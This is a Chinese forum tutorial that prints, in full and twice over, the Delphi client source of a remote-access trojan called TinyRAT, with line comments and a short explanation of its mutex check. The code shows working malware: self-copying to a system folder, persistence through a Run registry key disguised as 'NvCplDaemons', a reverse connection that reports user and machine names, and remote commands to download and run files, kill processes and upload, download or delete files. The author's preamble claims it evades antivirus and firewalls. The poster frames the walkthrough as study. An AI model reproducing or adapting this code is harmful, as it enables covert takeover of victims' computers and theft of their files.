主题:实战分析远控“TinyRAT”,跟我一起来
关于 “TinyRAT”的背景:
代码编写:Anskya 简要的一款远程控制,FSG压缩后只有12k 下个版本将完全采用ASM+C编写,体积在5k左右使用bingle前辈的 创建SvcHost.exe调用的服务原理与实践使用的是和小榕前辈的BITS后门的一个替换技术.这里向两位前辈表示感谢,代码在编写过程中.得到一步江湖和sforever两位朋友的帮助(特别感谢sforever,没有逆向他的那个后门程序接口偶也不会发现一个BUG.)程序可以在卡巴斯基默认设置下,开机自启动和穿墙...反向连接,暂时只支持DNS和IP 由于身体上的等等原因还有其他一些外界因素.程序写的比较仓促初步写了几个功能,暂时大家试用一下好了.纯属练手 1.进程管理:查看,干掉.选定的进程 2.文件管理:上传,下载,新建目录,删除目录,删除文件等功能... 3.提供远程下载者功能:您可以选择下载并运行您的程序 4.提供卸载功能
-----------------------------------------
一直在解剖灰鸽子1。2的,,,,由于帮一个朋友写一个小程序,再加上一些琐事,就担搁下来了,熊哥也和我说,分析 要注重协议等的东西。今晚看了看这个,这个源码的解剖 有助于我们进一步解剖灰鸽子哦。。。。。。
但我认为,不管 重点放在哪些方面,只要我们有所收获,就已经够了。。。分析远控不是为了写一个远控(可能有朋友会比较急于这个目的,不过对我来说不是这样的,我的目的是学习更多的编程思路和技巧)
好了,废话 少说 ,我们大致看看客户端主程序全部源码,回帖里我加上我的理解和分析,大家可以一起看看。。。。。。。。
-------------------------------------
program Clinet001;
uses
Windows, SocketUnit, VarUnit, FuncUnit, MainUnit, ShellAPI, UrlMon;
const
MasterMutex = 'Anskya_Drache_Client_001';
MasterFile = 'File++++++++++++++++++++++++++++.exe';
MasterDNSE = 'Localhost---------------------------';
MasterPort = 9090;
var
MasterSocket: TClientSocket;
// Client工作线程
function ClientWork(stSocket: TClientSocket): DWORD;
var
dwResult, dwSocketCmd: DWORD;
StrBuffer, StrTemp: String;
lpBuffer: Pointer;
MiniBuffer: TMinBufferHeader;
bIsNotError: Boolean;
begin
Result := Sock_Error;
if (Not stSocket.Connected) then Exit;
while True do
begin
MasterSocket.Idle(0); //作用是什么呢 ?
dwResult := stSocket.ReceiveLength;
if dwResult = 0 then
begin
dwResult := stSocket.SendBuffer(lpBuffer, 2); //发送一个空指针过去?
end;
if (Not (stSocket.Connected)) then Break; //如果没有连接中断循环
if (dwResult < 4) then Continue;
//如果dwResult位数不够,则进入下一个循环,下面的暂时不执行,直到达到4位了才执行?
dwResult := dwResult + 1;
GetMem(lpBuffer, dwResult); //开辟内存空间 长度为 dwResult
ZeroMemory(lpBuffer, dwResult); //置零刚才开好的控件
dwResult := stSocket.ReceiveBuffer(lpBuffer^, dwResult); //获取 传过来的数据,放到lpBuffer中
// 判断数据包长度
Case dwResult of
MIN_BUFFER_SIZE:
begin
dwSocketCmd := PMinBufferHeader(lpBuffer)^.dwSocketCmd;
end;
MinEx_BUFFER_SIZE:
begin
dwSocketCmd := PMinExBufferHeader(lpBuffer)^.dwSocketCmd;
dwResult := PMinExBufferHeader(lpBuffer)^.dwBufferSize;
end;
else
dwSocketCmd := PMinBufferHeader(lpBuffer)^.dwSocketCmd;
StrBuffer := String(Pchar(@(Pchar(lpBuffer)[4])));
//取其第4个以后的pchar的字串,pchar[0]..pchar[3] 就是dwSocketCmd
end;
FreeMem(lpBuffer);
// 分离命令头部并解析命令头部 ,根据命令头部下面做一系列的动作
case dwSocketCmd of
// Ping功能
Client_Ping:
begin
MessageBox(0, Pchar(StrBuffer), 'By Drache', 0);
end;
// Close Client
Client_Close:
begin
Result := Sock_Close;
Break;
end;
// Remove Client
Client_Remove:
begin
DelStrToReg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'NvCplDaemons');
Result := Sock_Close;
Break;
end;
// Downloader
Client_Download:
begin
StrTemp := GetSetupPathEx(2) + ExtractURLName(StrBuffer);
if URLDownloadToFile(nil, Pchar(StrBuffer), Pchar(StrTemp), 0, nil)= S_OK then
begin
ShellExecute(0, 'Open', Pchar(StrTemp), nil, nil, SW_SHOW);
end;
end;
// Get Process List
Client_GetProcessList:
begin
SendData(stSocket, Client_GetProcessList, GetProcessList());
end;
// Kill Process 杀进程
Client_KillProcess:
begin
KillProcessByPID(dwResult);
end;
//-------------------------------------------------------------------------
// 获取磁盘列表
Get_DiskList:
begin
SendData(stSocket, Get_DiskList, GetDriveList());
end;
// 获取目录列表(目录名称)
Get_DirList:
begin
SendData(stSocket, Get_DirList, ListFiles(0, StrBuffer));
end;
// 获取文件列表(文件名+文件大小)
Get_FileList:
begin
SendData(stSocket, Get_FileList, ListFiles(1, StrBuffer));
end;
// 文件操作
File_Execute:
begin
ShellExecute(0, 'Open', Pchar(StrBuffer), nil, nil, SW_SHOW);
end;
// 删除文件
File_Delete:
begin
DeleteFile(Pchar(StrBuffer));
end;
// 新建文件夹
Dir_New:
begin
CreateDirectory(Pchar(StrBuffer), nil);
end;
// 删除文件夹
Dir_Delete:
begin
RemoveDirectory(Pchar(StrBuffer));
end;
// 下载文件
File_DownLoadBegin:
begin
bIsNotError := DownloadFile(stSocket, Pchar(StrBuffer));
if bIsNotError then MiniBuffer.dwSocketCmd := File_DownloadEnd
else MiniBuffer.dwSocketCmd := File_IO_Error;
stSocket.SendBuffer(MiniBuffer, MIN_BUFFER_SIZE);
end;
// 上传文件
File_UploadBegin:
begin
UploadFile(stSocket, Pchar(StrBuffer));
end;
else
end;
end;
end;
//////////////////////////////////////////////////////////////////////////////////////
// 网络执行主线程
procedure WinMain();
var
dwResult: DWORD;
StrBuffer: String;
MinBuffer: TMinBufferHeader; //一个记录型
begin
MasterSocket := TClientSocket.Create; //创建一个 socket 的client端
// 循环连接Server
while Not (MasterSocket.Connected) do
begin
MasterSocket.Connect(MasterDNSE, MasterPort);
if MasterSocket.Connected then
begin
// 发送上线数据包
StrBuffer := GetPcUserName(0) + '|' + GetPcUserName(1) + '|';
// GetPcUserName(0)----获得系统用户名
// GetPcUserName(1)----获得计算机名
if SendData(MasterSocket, Client_Online, StrBuffer) then
//Client_Online = $AABB01FF; (见 varunit.pas)定义的一个常量,表示在线命令
//sendData是 自定义的一个函数(见 varunit.pas),作者用来发 字串的,成功返回true ,失败返回false
begin
// 判断是否连接超时 ?????Idle 是什么函数?作用? 网上好像没有相关资料
if MasterSocket.Idle(3) <= 0 then
begin
MasterSocket.Disconnect;
Continue;
end;
// 判断接受的数据包是否长度为4,而且数据包的命令标识是上线成功的指令
dwResult := MasterSocket.ReceiveBuffer(MinBuffer, Sizeof(TMinBufferHeader));
if (dwResult = 4) and (MinBuffer.dwSocketCmd = Client_Online) then
begin
dwResult := ClientWork(MasterSocket);
if dwResult = Sock_Close then
begin
MasterSocket.Disconnect;
Break;
end;
end else
begin
MasterSocket.Disconnect;
Continue;
end;
end;
end;
MasterSocket.Disconnect; // 断开连接进行下一次循环
Sleep(10000);
end;
MasterSocket.Free;
end;
procedure Setup();
var
StrFile, StrSelfFile: String;
begin
StrFile := GetSetupPathEx(1) + MasterFile; //目标文件路径+文件名
StrSelfFile := ParamStr(0); //自身文件路径+文件名
if Not (StrCmp(StrFile, StrSelfFile)) then //如果两者不一致,把自身复制到目标路径上去
begin
DeleteFile(Pchar(StrFile)); //先把目标的删掉
if CopyFile(Pchar(StrSelfFile), Pchar(StrFile), False) then
//copyfile中的第3个参数 false表示存在就覆盖,如果是 true表示存在就失败
begin
ShellExecute(0, 'Open', Pchar(StrFile), nil, nil, SW_SHOW); //运行目标文件
//WinExec(Pchar(StrFile), SW_SHOW);
ExitProcess(0); //退出本线程
end;
end else
begin
AddStrToReg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'NvCplDaemons', Pchar(StrSelfFile));
//创建注册表键值
end;
end;
begin
Sleep(3000);
if CreatedMutexEx(MasterMutex) then
begin
Setup();
GetDebugPrivs;
WinMain();
end;
end.
先看程序主干。。。。。。。
看到了么?和我们常见的有窗体的程序不一样了,
这个program 的结构是:
program programname;
uses
.......;
const.
.......;
var
.............;
function ClientWork(stSocket: TClientSocket): DWORD;
........;
procedure WinMain();
.........;
procedure Setup();
.........;
begin
Sleep(3000);
if CreatedMutexEx(MasterMutex) then
begin
Setup();
GetDebugPrivs;
WinMain();
end;
end.
这种结构,是无窗体的一种程序,在这个程序里,程序只执行了代码里的动作,没有生成一个窗体
真正的程序主干 最后的这段:
Sleep(3000);
if CreatedMutexEx(MasterMutex) then
begin
Setup();
GetDebugPrivs;
WinMain();
首先 程序执行的是CreatedMutexEx(MasterMutex) ,根据返回值判断 符合条件 就执行 setup ,接着 getdebugprivs,最后执行 winmain。。。
整个流程就是这样 ,非常清晰 主干明白了吧,下面我们一个一个来看,从下面往上一步一步顺藤摸瓜好了。。。。。。。大家可以按我的回帖顺序来分析这个程序。。。。
Sleep(3000); 就不用说了,程序先休眠3秒钟。。。。
------------------------------
CreatedMutexEx(MasterMutex) 的参数MasterMutex 在这里是一个常量,在程序的一开始就定义了,看到了么
const
MasterMutex = 'Anskya_Drache_Client_001';
那么 CreatedMutexEx(MasterMutex) 是作甚么的呢?我们找它的函数原型
我们发现 它是在 funcunion.pas里 作者自己定义的。我们到里面看看。发现有这两段:
===============代码========================
function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
//CreateMutex用于创建一个互斥对象 ,针对多线程编程而言
if MutexHandle <> 0 then //创建成功
begin
if GetLastError = ERROR_ALREADY_EXISTS then
//如果这个对象存在 就反馈回来“ERROR_ALREADY_EXISTS”,这时报错
begin
//CloseHandle(MutexHandle);
Result := False; //返回值是 false
Exit; //退出例程
end;
end;
Result := True;
end;
=================结束===================
可以看出,这段代码 的用意 是要创建一个互斥的线程对象,如果成功,就返回true 否则返回flase
-------------------------------------------------
这个作者这样写得很不科学,很费解 ,他想实现的功能其实很简单 2句话搞定:
if CreateMutex(nil, True, MutexName) <> 0 then
if GetLastError = ERROR_ALREADY_EXISTS then exitprocess(0)
当已经存在一个互斥对象的时候 就退出线程。。。。。这个作用的意思,相当于,你的鸽子不能同时运行2个同样版本的鸽子服务端对不对?赫赫,,,只要有同名的进程在运行 他就不运行下面这3个函数了。。。。
Setup();
GetDebugPrivs;
WinMain();
。。。。
代码编写:Anskya 简要的一款远程控制,FSG压缩后只有12k 下个版本将完全采用ASM+C编写,体积在5k左右使用bingle前辈的 创建SvcHost.exe调用的服务原理与实践使用的是和小榕前辈的BITS后门的一个替换技术.这里向两位前辈表示感谢,代码在编写过程中.得到一步江湖和sforever两位朋友的帮助(特别感谢sforever,没有逆向他的那个后门程序接口偶也不会发现一个BUG.)程序可以在卡巴斯基默认设置下,开机自启动和穿墙...反向连接,暂时只支持DNS和IP 由于身体上的等等原因还有其他一些外界因素.程序写的比较仓促初步写了几个功能,暂时大家试用一下好了.纯属练手 1.进程管理:查看,干掉.选定的进程 2.文件管理:上传,下载,新建目录,删除目录,删除文件等功能... 3.提供远程下载者功能:您可以选择下载并运行您的程序 4.提供卸载功能
-----------------------------------------
一直在解剖灰鸽子1。2的,,,,由于帮一个朋友写一个小程序,再加上一些琐事,就担搁下来了,熊哥也和我说,分析 要注重协议等的东西。今晚看了看这个,这个源码的解剖 有助于我们进一步解剖灰鸽子哦。。。。。。
但我认为,不管 重点放在哪些方面,只要我们有所收获,就已经够了。。。分析远控不是为了写一个远控(可能有朋友会比较急于这个目的,不过对我来说不是这样的,我的目的是学习更多的编程思路和技巧)
好了,废话 少说 ,我们大致看看客户端主程序全部源码,回帖里我加上我的理解和分析,大家可以一起看看。。。。。。。。
-------------------------------------
program Clinet001;
uses
Windows, SocketUnit, VarUnit, FuncUnit, MainUnit, ShellAPI, UrlMon;
const
MasterMutex = 'Anskya_Drache_Client_001';
MasterFile = 'File++++++++++++++++++++++++++++.exe';
MasterDNSE = 'Localhost---------------------------';
MasterPort = 9090;
var
MasterSocket: TClientSocket;
// Client工作线程
function ClientWork(stSocket: TClientSocket): DWORD;
var
dwResult, dwSocketCmd: DWORD;
StrBuffer, StrTemp: String;
lpBuffer: Pointer;
MiniBuffer: TMinBufferHeader;
bIsNotError: Boolean;
begin
Result := Sock_Error;
if (Not stSocket.Connected) then Exit;
while True do
begin
MasterSocket.Idle(0); //作用是什么呢 ?
dwResult := stSocket.ReceiveLength;
if dwResult = 0 then
begin
dwResult := stSocket.SendBuffer(lpBuffer, 2); //发送一个空指针过去?
end;
if (Not (stSocket.Connected)) then Break; //如果没有连接中断循环
if (dwResult < 4) then Continue;
//如果dwResult位数不够,则进入下一个循环,下面的暂时不执行,直到达到4位了才执行?
dwResult := dwResult + 1;
GetMem(lpBuffer, dwResult); //开辟内存空间 长度为 dwResult
ZeroMemory(lpBuffer, dwResult); //置零刚才开好的控件
dwResult := stSocket.ReceiveBuffer(lpBuffer^, dwResult); //获取 传过来的数据,放到lpBuffer中
// 判断数据包长度
Case dwResult of
MIN_BUFFER_SIZE:
begin
dwSocketCmd := PMinBufferHeader(lpBuffer)^.dwSocketCmd;
end;
MinEx_BUFFER_SIZE:
begin
dwSocketCmd := PMinExBufferHeader(lpBuffer)^.dwSocketCmd;
dwResult := PMinExBufferHeader(lpBuffer)^.dwBufferSize;
end;
else
dwSocketCmd := PMinBufferHeader(lpBuffer)^.dwSocketCmd;
StrBuffer := String(Pchar(@(Pchar(lpBuffer)[4])));
//取其第4个以后的pchar的字串,pchar[0]..pchar[3] 就是dwSocketCmd
end;
FreeMem(lpBuffer);
// 分离命令头部并解析命令头部 ,根据命令头部下面做一系列的动作
case dwSocketCmd of
// Ping功能
Client_Ping:
begin
MessageBox(0, Pchar(StrBuffer), 'By Drache', 0);
end;
// Close Client
Client_Close:
begin
Result := Sock_Close;
Break;
end;
// Remove Client
Client_Remove:
begin
DelStrToReg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'NvCplDaemons');
Result := Sock_Close;
Break;
end;
// Downloader
Client_Download:
begin
StrTemp := GetSetupPathEx(2) + ExtractURLName(StrBuffer);
if URLDownloadToFile(nil, Pchar(StrBuffer), Pchar(StrTemp), 0, nil)= S_OK then
begin
ShellExecute(0, 'Open', Pchar(StrTemp), nil, nil, SW_SHOW);
end;
end;
// Get Process List
Client_GetProcessList:
begin
SendData(stSocket, Client_GetProcessList, GetProcessList());
end;
// Kill Process 杀进程
Client_KillProcess:
begin
KillProcessByPID(dwResult);
end;
//-------------------------------------------------------------------------
// 获取磁盘列表
Get_DiskList:
begin
SendData(stSocket, Get_DiskList, GetDriveList());
end;
// 获取目录列表(目录名称)
Get_DirList:
begin
SendData(stSocket, Get_DirList, ListFiles(0, StrBuffer));
end;
// 获取文件列表(文件名+文件大小)
Get_FileList:
begin
SendData(stSocket, Get_FileList, ListFiles(1, StrBuffer));
end;
// 文件操作
File_Execute:
begin
ShellExecute(0, 'Open', Pchar(StrBuffer), nil, nil, SW_SHOW);
end;
// 删除文件
File_Delete:
begin
DeleteFile(Pchar(StrBuffer));
end;
// 新建文件夹
Dir_New:
begin
CreateDirectory(Pchar(StrBuffer), nil);
end;
// 删除文件夹
Dir_Delete:
begin
RemoveDirectory(Pchar(StrBuffer));
end;
// 下载文件
File_DownLoadBegin:
begin
bIsNotError := DownloadFile(stSocket, Pchar(StrBuffer));
if bIsNotError then MiniBuffer.dwSocketCmd := File_DownloadEnd
else MiniBuffer.dwSocketCmd := File_IO_Error;
stSocket.SendBuffer(MiniBuffer, MIN_BUFFER_SIZE);
end;
// 上传文件
File_UploadBegin:
begin
UploadFile(stSocket, Pchar(StrBuffer));
end;
else
end;
end;
end;
//////////////////////////////////////////////////////////////////////////////////////
// 网络执行主线程
procedure WinMain();
var
dwResult: DWORD;
StrBuffer: String;
MinBuffer: TMinBufferHeader; //一个记录型
begin
MasterSocket := TClientSocket.Create; //创建一个 socket 的client端
// 循环连接Server
while Not (MasterSocket.Connected) do
begin
MasterSocket.Connect(MasterDNSE, MasterPort);
if MasterSocket.Connected then
begin
// 发送上线数据包
StrBuffer := GetPcUserName(0) + '|' + GetPcUserName(1) + '|';
// GetPcUserName(0)----获得系统用户名
// GetPcUserName(1)----获得计算机名
if SendData(MasterSocket, Client_Online, StrBuffer) then
//Client_Online = $AABB01FF; (见 varunit.pas)定义的一个常量,表示在线命令
//sendData是 自定义的一个函数(见 varunit.pas),作者用来发 字串的,成功返回true ,失败返回false
begin
// 判断是否连接超时 ?????Idle 是什么函数?作用? 网上好像没有相关资料
if MasterSocket.Idle(3) <= 0 then
begin
MasterSocket.Disconnect;
Continue;
end;
// 判断接受的数据包是否长度为4,而且数据包的命令标识是上线成功的指令
dwResult := MasterSocket.ReceiveBuffer(MinBuffer, Sizeof(TMinBufferHeader));
if (dwResult = 4) and (MinBuffer.dwSocketCmd = Client_Online) then
begin
dwResult := ClientWork(MasterSocket);
if dwResult = Sock_Close then
begin
MasterSocket.Disconnect;
Break;
end;
end else
begin
MasterSocket.Disconnect;
Continue;
end;
end;
end;
MasterSocket.Disconnect; // 断开连接进行下一次循环
Sleep(10000);
end;
MasterSocket.Free;
end;
procedure Setup();
var
StrFile, StrSelfFile: String;
begin
StrFile := GetSetupPathEx(1) + MasterFile; //目标文件路径+文件名
StrSelfFile := ParamStr(0); //自身文件路径+文件名
if Not (StrCmp(StrFile, StrSelfFile)) then //如果两者不一致,把自身复制到目标路径上去
begin
DeleteFile(Pchar(StrFile)); //先把目标的删掉
if CopyFile(Pchar(StrSelfFile), Pchar(StrFile), False) then
//copyfile中的第3个参数 false表示存在就覆盖,如果是 true表示存在就失败
begin
ShellExecute(0, 'Open', Pchar(StrFile), nil, nil, SW_SHOW); //运行目标文件
//WinExec(Pchar(StrFile), SW_SHOW);
ExitProcess(0); //退出本线程
end;
end else
begin
AddStrToReg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'NvCplDaemons', Pchar(StrSelfFile));
//创建注册表键值
end;
end;
begin
Sleep(3000);
if CreatedMutexEx(MasterMutex) then
begin
Setup();
GetDebugPrivs;
WinMain();
end;
end.
先看程序主干。。。。。。。
看到了么?和我们常见的有窗体的程序不一样了,
这个program 的结构是:
program programname;
uses
.......;
const.
.......;
var
.............;
function ClientWork(stSocket: TClientSocket): DWORD;
........;
procedure WinMain();
.........;
procedure Setup();
.........;
begin
Sleep(3000);
if CreatedMutexEx(MasterMutex) then
begin
Setup();
GetDebugPrivs;
WinMain();
end;
end.
这种结构,是无窗体的一种程序,在这个程序里,程序只执行了代码里的动作,没有生成一个窗体
真正的程序主干 最后的这段:
Sleep(3000);
if CreatedMutexEx(MasterMutex) then
begin
Setup();
GetDebugPrivs;
WinMain();
首先 程序执行的是CreatedMutexEx(MasterMutex) ,根据返回值判断 符合条件 就执行 setup ,接着 getdebugprivs,最后执行 winmain。。。
整个流程就是这样 ,非常清晰 主干明白了吧,下面我们一个一个来看,从下面往上一步一步顺藤摸瓜好了。。。。。。。大家可以按我的回帖顺序来分析这个程序。。。。
Sleep(3000); 就不用说了,程序先休眠3秒钟。。。。
------------------------------
CreatedMutexEx(MasterMutex) 的参数MasterMutex 在这里是一个常量,在程序的一开始就定义了,看到了么
const
MasterMutex = 'Anskya_Drache_Client_001';
那么 CreatedMutexEx(MasterMutex) 是作甚么的呢?我们找它的函数原型
我们发现 它是在 funcunion.pas里 作者自己定义的。我们到里面看看。发现有这两段:
===============代码========================
function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
//CreateMutex用于创建一个互斥对象 ,针对多线程编程而言
if MutexHandle <> 0 then //创建成功
begin
if GetLastError = ERROR_ALREADY_EXISTS then
//如果这个对象存在 就反馈回来“ERROR_ALREADY_EXISTS”,这时报错
begin
//CloseHandle(MutexHandle);
Result := False; //返回值是 false
Exit; //退出例程
end;
end;
Result := True;
end;
=================结束===================
可以看出,这段代码 的用意 是要创建一个互斥的线程对象,如果成功,就返回true 否则返回flase
-------------------------------------------------
这个作者这样写得很不科学,很费解 ,他想实现的功能其实很简单 2句话搞定:
if CreateMutex(nil, True, MutexName) <> 0 then
if GetLastError = ERROR_ALREADY_EXISTS then exitprocess(0)
当已经存在一个互斥对象的时候 就退出线程。。。。。这个作用的意思,相当于,你的鸽子不能同时运行2个同样版本的鸽子服务端对不对?赫赫,,,只要有同名的进程在运行 他就不运行下面这3个函数了。。。。
Setup();
GetDebugPrivs;
WinMain();
。。。。